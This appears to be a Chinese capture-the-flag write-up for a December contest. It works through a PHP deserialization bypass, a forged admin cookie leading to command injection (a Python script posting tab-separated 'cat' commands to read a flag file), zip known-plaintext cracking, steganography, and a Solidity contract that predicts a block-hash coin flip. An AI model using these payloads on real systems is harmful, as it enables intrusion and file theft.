安恒X计划12月月赛
ezweb
主要是序列化问题。没有PHP环境,在线运行的。实例化对象之后修改一下file。然后echo输出序列化的结果。不过下面有一个正则检查。数字前加一个+,影响了正则的匹配,但是对于序列化的还原没有影响。直接写+不生效,于是对+进行URL编码,就绕过了。
<?php
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
$flag = new baby();
$flag->file = "index.php";
$flag = serialize($flag);
echo $flag;
echo unserialize($flag)
?>
拿到一个'O:4:"baby":1:{s:4:"file";s:9:"index.php";}'。在加入+号处理一下,直接不生效,需要URL编码'O:%2b4:"baby":1:{s:4:"file";s:9:"index.php";}'。

然后不小心爆出来了代码运行网站的目录。
ezweb2
浏览了一会,不知道网站哪有问题,最后看到cookie里有一个user变量。此处必有蹊跷。拉出来用base64解了一下,看到一个普通的用户的字符串。然后扫到一个admin.php,提示我不是管理员。两者就对上了,改cookie重新刷新user=YWRtaW4=%3D%3D。看到了后台,输入一个密码试试吧。结果发现post出去的表单,输入的内容在cmd字段下。然后判定这不是一个密码,而是一个命令执行。然后用ls证实了想法。然后使用cat查看文件内容的时候出错。当时有两个想法,一个是空格还有一些字符被过滤了,另一个是回显或者命令长度有限制。先按照第一个想法来,fuzz一下什么被过滤了。测出来几个可用的字符,基本上印证了被过滤的想法。使用0x9h替代空格,然后就可以顺利执行命令。
最后的flag在根目录下。
import requests
#fuzz时使用这个循环,注释下一循环。
#for i in range(1,128):
for i in range(9,10):
url = "http://101.71.29.5:10000/admin.php"
payload = {'cmd':'cat' + chr(i) + '/ffLAG_404'}
headers = {
'origin': "http://101.71.29.5:10000",
'upgrade-insecure-requests': "1",
'content-type': "application/x-www-form-urlencoded",
'user-agent': "Mozilla/7.0 (Windows NT 11; Win64; x64) AppleWebKit/539.36 (KHTML, like Gecko) Chrome/76.0.3538.67 Safari/539.36",
'accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
'referer': "http://101.71.29.5:10000/admin.php",
'accept-encoding': "gzip, deflate",
'accept-language': "zh-CN,zh;q=0.9",
'cookie': "PHPSESSID=155tke89leol6648g64rrd2p20; user=YWRtaW4=%3D%3D",
'cache-control': "no-cache"
}
response = requests.request("POST", url, data=payload, headers=headers)
#print(i,chr(i))
#print(len(response.text))
print(response.text)
misc1
为做题还要涉及早期被公开的泄露数据,这是在教人学坏。拿python处理这些数据的时候换行没处理对,所以跑字典的时候出了问题,没成功解开。
安恒的运营挺有意思的,求生欲很强,为了给公众号用户保活,自己的比赛平台不用,非要在公众号上放hint。
misc2 签到
关注一个公众号,文字游戏。
misc3
压缩包破解。同级目录下有一个压缩包内含的文件,明显的明文攻击。这种题就很烦。偏偏安恒很喜欢出。之前参加他们的比赛,给的一个压缩包,只有7z没毛病,其他都解不出来。这次这个需要winrar压缩,如果你的明文攻击大于10分钟,那么就停下来,重新制作压缩包或者换不同的版本。很烦。因为压缩本来就是有损的,所以究竟会不会出问题,真的不好判断。最后解出来的文档有一个高考秘籍——53,要位移一下这个图。
我觉得下次可以出一个这样的脑洞,放一个3D的模型,移开没有,在遮挡物的背面贴着或者穿模进去才能看到。
misc4
png图片先改像素看一下再去看有没有隐写。高度拉长一看就有字符串,末尾大于两个等号,应该是base32,解出来再拿括号里的内容再做一个MD5散列。



区块链
都说了是赌币,协议也给了。有点坑的是,直接批量不产生效果,手动了20次才收到邮件。
pragma solidity ^0.4.23;
interface BetInterFace{
function flip(bool _guess) public returns (bool success);
}
contract GetFlag{
address betAddress = 0x2F99655A6dDfd3e13561Acf2c1c724385BB6A80E;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
}
function start2() public {
bool isTrue=getResult();
bet2(isTrue);
}
function getResult() private view returns(bool){
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
return side;
}
function bet2(bool result) private{
bytes4 methodId = bytes4(keccak256("flip(bool)"));
if(result){
betAddress.call(methodId,uint256(1));
}else{
betAddress.call(methodId,uint256(0));
}
}
}
安恒X计划12月月赛的更多相关文章
- CodePlus2017 12月月赛 div2可做题2
11月的月赛错过了,来打12月月赛,由于很(zi)想(ji)拿(tai)衣(ruo)服(la),所以去打div2. T1是一个sb模拟,但是机房全卡死在这道语文题上了,基本上弄了一个半小时,T2可以秒 ...
- CSU 2018年12月月赛 B 2214: Sequence Magic
Description 有一个1到N的自然数序列1,2,3,...,N-1,N. 我们对它进行M次操作,每次操作将其中连续的一段区间 [Ai,Bi][Ai,Bi] (即第Ai个元素到第Bi个元素之间的 ...
- code+12月月赛 火锅盛宴
时间限制: 2.0 秒 空间限制: 512 MB 题目背景 SkyDec和YJQQQAQ都是Yazid的好朋友.他们都非常喜欢吃火锅.有一天,他们聚在一起,享受一场火锅盛宴. 题目描述 在这场火锅盛宴 ...
- CSU 2018年12月月赛 H(2220): Godsend
Description Leha somehow found an array consisting of n integers. Looking at it, he came up with a t ...
- CSU 2018年12月月赛 G(2219): Coin
Description 有这样一个众所周知的问题: 你面前有7个硬币,其中有一个劣质的(它比正常的硬币轻一点点),你有一个天平,问需要你需要使用天平多少次能保证找到那个劣质的硬币. 众所周知的算法是: ...
- CSU 2018年12月月赛 F(2218): Finding prime numbers
Description xrdog has a number set. There are 95 numbers in this set. They all have something in com ...
- CSU 2018年12月月赛 D 2216 : Words Transformation
Description There are n words, you have to turn them into plural form. If a singular noun ends with ...
- CSU 2018年12月月赛 A 2213: Physics Exam
Description 高中物理老师总认为给学生文本形式的问题比给纯计算形式的问题要求更高.毕竟,学生首先得阅读和理解问题. 因此,他们描述一个问题不像”U=10V,I=5A,P=?”,而是”有一个含 ...
- 【u114】旅行计划(12月你好)
Time Limit: 1 second Memory Limit: 128 MB [问题描述] 小明要去一个国家旅游.这个国家有N个城市,编号为1-N,并且有M条道路连接着,小明准备从其中一个城市出 ...
随机推荐
- 4G厂商版《出师表》
转载:http://mp.weixin.qq.com/s?__biz=MzAwNDAyODM0NA==&mid=408013599&idx=1&sn=70cd33d037604 ...
- 打开指定目录路径的CMD命令行窗口
1.打开目录文件夹, Shift + 右键 2.会直接打开CMD所在的目录路径
- 一、laya学习笔记 --- layabox环境搭建 HelloWorld(坑:ts版本问题解决方案)
好吧,使用layabox需要从官网下载些啥呢 一.下载layabox 官网 https://www.layabox.com/ 首页上有两个,一个Engine,一个IDE Engine我下载的TS版本, ...
- python unittest框架中doCleanups妙用
偶看unittest官方文档中,发现一个很好用的功能函数doCleanups,看看官方是怎么解释的: doCleanups() This method is called unconditionall ...
- jenkins Email-ext plugin插件中Pre-send Script设置说明
在使用jenkins Email-ext plugin发送邮件时,项目中使用了SVN去同步,发现每次有同步,都会发送邮件,现只想SVN只更新,不发送邮件通知,这就要在Pre-send中做修改 看看官网 ...
- flask跨域请求
跨域文件上传的时候,浏览器会自动发起一个 OPTIONS 方法到服务器,现在后台解决前端跨域解决前端跨域请求的问题 客户端发起的这个 OPTIONS 可以说是一个“预请求”,用于探测后续真正需要发起的 ...
- Java实现网易企业邮箱发送邮件
最近项目需要用网易企业邮箱发送邮件,特意来将实现过程记录一下: maven导入jar包 <!-- javax.mai 核心包 --> <dependency> <grou ...
- 不同修饰符使用细节(java)
常用来修饰类.方法.变量的修饰符如下 public 权限修饰符,公共访问, 类,方法,成员变量 protected 权限修饰符,受保护访问, 方法,成员变量 默认什么也不写 也是一种权限修饰符,默认访 ...
- Android-Broadcast(广播)
1.四大组件之BroadcastReceiver (1)Broadcast(广播)--一种广泛运用在应用程序之间传输信息的机制 (2)BroadcastReceiver(广播接受者)--是对发送过 ...
- JVM JRE JDK三者的区别和联系
一. 详细介绍1.JVM -- java virtual machineJVM就是我们常说的java虚拟机,它是整个java实现跨平台的 最核心的部分,所有的java程序会首先被编译为.class的类 ...